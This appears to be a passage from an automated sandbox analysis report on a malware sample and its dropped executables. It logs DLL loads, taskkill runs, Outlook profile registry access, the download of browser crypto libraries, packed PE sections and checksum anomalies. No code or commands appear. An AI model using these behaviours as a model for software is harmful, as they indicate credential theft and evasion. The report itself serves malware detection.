Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1769472 > 1048576

Source: file.exe

Static PE information: Raw size of vrtduuah is bigger than: 0x100000 < 0x196200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2583880092.000000006F8DD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2583880092.000000006F8DD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.340000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vrtduuah:EW;ggmsrgqs:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vrtduuah:EW;ggmsrgqs:EW;.taggant:EW;
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Unpacked PE file: 22.2.DocumentsIDHCGDAFBK.exe.e20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ahcdwdtv:EW;vxynmcwl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ahcdwdtv:EW;vxynmcwl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.680000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ahcdwdtv:EW;vxynmcwl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ahcdwdtv:EW;vxynmcwl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.680000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ahcdwdtv:EW;vxynmcwl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ahcdwdtv:EW;vxynmcwl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.680000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ahcdwdtv:EW;vxynmcwl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ahcdwdtv:EW;vxynmcwl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Unpacked PE file: 28.2.lll.exe.560000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lbasanxu:EW;inkucyiw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lbasanxu:EW;inkucyiw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Unpacked PE file: 29.2.954f709e67.exe.a10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cmkobnzi:EW;kevwmiqw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cmkobnzi:EW;kevwmiqw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Unpacked PE file: 31.2.97aac85e85.exe.20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vrtduuah:EW;ggmsrgqs:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vrtduuah:EW;ggmsrgqs:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Unpacked PE file: 32.2.954f709e67.exe.a10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cmkobnzi:EW;kevwmiqw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cmkobnzi:EW;kevwmiqw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Unpacked PE file: 48.2.97aac85e85.exe.20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vrtduuah:EW;ggmsrgqs:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vrtduuah:EW;ggmsrgqs:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[2].exe.25.dr	Static PE information: real checksum: 0x1cfb74 should be: 0x1d6723
Source: lll[1].exe.25.dr	Static PE information: real checksum: 0x1cdc5c should be: 0x1d647b
Source: random[1].exe.25.dr	Static PE information: real checksum: 0x2b1392 should be: 0x2a03a9
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d61bd should be: 0x1dcf85
Source: DocumentsIDHCGDAFBK.exe.0.dr	Static PE information: real checksum: 0x1d61bd should be: 0x1dcf85
Source: 514a61fbeb.exe.25.dr	Static PE information: real checksum: 0x2b1392 should be: 0x2a03a9
Source: lll.exe.25.dr	Static PE information: real checksum: 0x1cdc5c should be: 0x1d647b
Source: random[1].exe1.25.dr	Static PE information: real checksum: 0x1b1f47 should be: 0x1b16b6
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x1d61bd should be: 0x1dcf85
Source: 97aac85e85.exe.25.dr	Static PE information: real checksum: 0x1b1f47 should be: 0x1b16b6
Source: 954f709e67.exe.25.dr	Static PE information: real checksum: 0x1cfb74 should be: 0x1d6723
Source: file.exe	Static PE information: real checksum: 0x1b1f47 should be: 0x1b16b6
Source: random[1].exe0.25.dr	Static PE information: real checksum: 0x436fc0 should be: 0x436808
Source: f979933b17.exe.25.dr	Static PE information: real checksum: 0x436fc0 should be: 0x436808

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: vrtduuah
Source: file.exe	Static PE information: section name: ggmsrgqs
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: ahcdwdtv
Source: random[1].exe.0.dr	Static PE information: section name: vxynmcwl
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsIDHCGDAFBK.exe.0.dr	Static PE information: section name:
Source: DocumentsIDHCGDAFBK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIDHCGDAFBK.exe.0.dr	Static PE information: section name:
Source: DocumentsIDHCGDAFBK.exe.0.dr	Static PE information: section name: ahcdwdtv
Source: DocumentsIDHCGDAFBK.exe.0.dr	Static PE information: section name: vxynmcwl
Source: DocumentsIDHCGDAFBK.exe.0.dr	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: ahcdwdtv
Source: skotes.exe.22.dr	Static PE information: section name: vxynmcwl
Source: skotes.exe.22.dr	Static PE information: section name: .taggant
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: .idata
Source: random[1].exe.25.dr	Static PE information: section name: ncjsrlmf
Source: random[1].exe.25.dr	Static PE information: section name: pmvjnnxr
Source: random[1].exe.25.dr	Static PE information: section name: .taggant
Source: 514a61fbeb.exe.25.dr	Static PE information: section name:
Source: 514a61fbeb.exe.25.dr	Static PE information: section name: .idata
Source: 514a61fbeb.exe.25.dr	Static PE information: section name: ncjsrlmf
Source: 514a61fbeb.exe.25.dr	Static PE information: section name: pmvjnnxr
Source: 514a61fbeb.exe.25.dr	Static PE information: section name: .taggant
Source: random[1].exe0.25.dr	Static PE information: section name:
Source: random[1].exe0.25.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.25.dr	Static PE information: section name: .idata
Source: random[1].exe0.25.dr	Static PE information: section name:
Source: random[1].exe0.25.dr	Static PE information: section name: dvdrndmu
Source: random[1].exe0.25.dr	Static PE information: section name: grjspqaa
Source: random[1].exe0.25.dr	Static PE information: section name: .taggant
Source: f979933b17.exe.25.dr	Static PE information: section name:
Source: f979933b17.exe.25.dr	Static PE information: section name: .rsrc
Source: f979933b17.exe.25.dr	Static PE information: section name: .idata
Source: f979933b17.exe.25.dr	Static PE information: section name:
Source: f979933b17.exe.25.dr	Static PE information: section name: dvdrndmu
Source: f979933b17.exe.25.dr	Static PE information: section name: grjspqaa
Source: f979933b17.exe.25.dr	Static PE information: section name: .taggant
Source: lll[1].exe.25.dr	Static PE information: section name:
Source: lll[1].exe.25.dr	Static PE information: section name: .idata
Source: lll[1].exe.25.dr	Static PE information: section name:
Source: lll[1].exe.25.dr	Static PE information: section name: lbasanxu
Source: lll[1].exe.25.dr	Static PE information: section name: inkucyiw
Source: lll[1].exe.25.dr	Static PE information: section name: .taggant
Source: lll.exe.25.dr	Static PE information: section name:
Source: lll.exe.25.dr	Static PE information: section name: .idata
Source: lll.exe.25.dr	Static PE information: section name:
Source: lll.exe.25.dr	Static PE information: section name: lbasanxu
Source: lll.exe.25.dr	Static PE information: section name: inkucyiw
Source: lll.exe.25.dr	Static PE information: section name: .taggant
Source: random[2].exe.25.dr	Static PE information: section name:
Source: random[2].exe.25.dr	Static PE information: section name: .idata
Source: random[2].exe.25.dr	Static PE information: section name:
Source: random[2].exe.25.dr	Static PE information: section name: cmkobnzi
Source: random[2].exe.25.dr	Static PE information: section name: kevwmiqw
Source: random[2].exe.25.dr	Static PE information: section name: .taggant
Source: 954f709e67.exe.25.dr	Static PE information: section name:
Source: 954f709e67.exe.25.dr	Static PE information: section name: .idata
Source: 954f709e67.exe.25.dr	Static PE information: section name:
Source: 954f709e67.exe.25.dr	Static PE information: section name: cmkobnzi
Source: 954f709e67.exe.25.dr	Static PE information: section name: kevwmiqw
Source: 954f709e67.exe.25.dr	Static PE information: section name: .taggant
Source: random[1].exe1.25.dr	Static PE information: section name:
Source: random[1].exe1.25.dr	Static PE information: section name: .idata
Source: random[1].exe1.25.dr	Static PE information: section name:
Source: random[1].exe1.25.dr	Static PE information: section name: vrtduuah
Source: random[1].exe1.25.dr	Static PE information: section name: ggmsrgqs
Source: random[1].exe1.25.dr	Static PE information: section name: .taggant
Source: 97aac85e85.exe.25.dr	Static PE information: section name:
Source: 97aac85e85.exe.25.dr	Static PE information: section name: .idata
Source: 97aac85e85.exe.25.dr	Static PE information: section name:
Source: 97aac85e85.exe.25.dr	Static PE information: section name: vrtduuah
Source: 97aac85e85.exe.25.dr	Static PE information: section name: ggmsrgqs
Source: 97aac85e85.exe.25.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

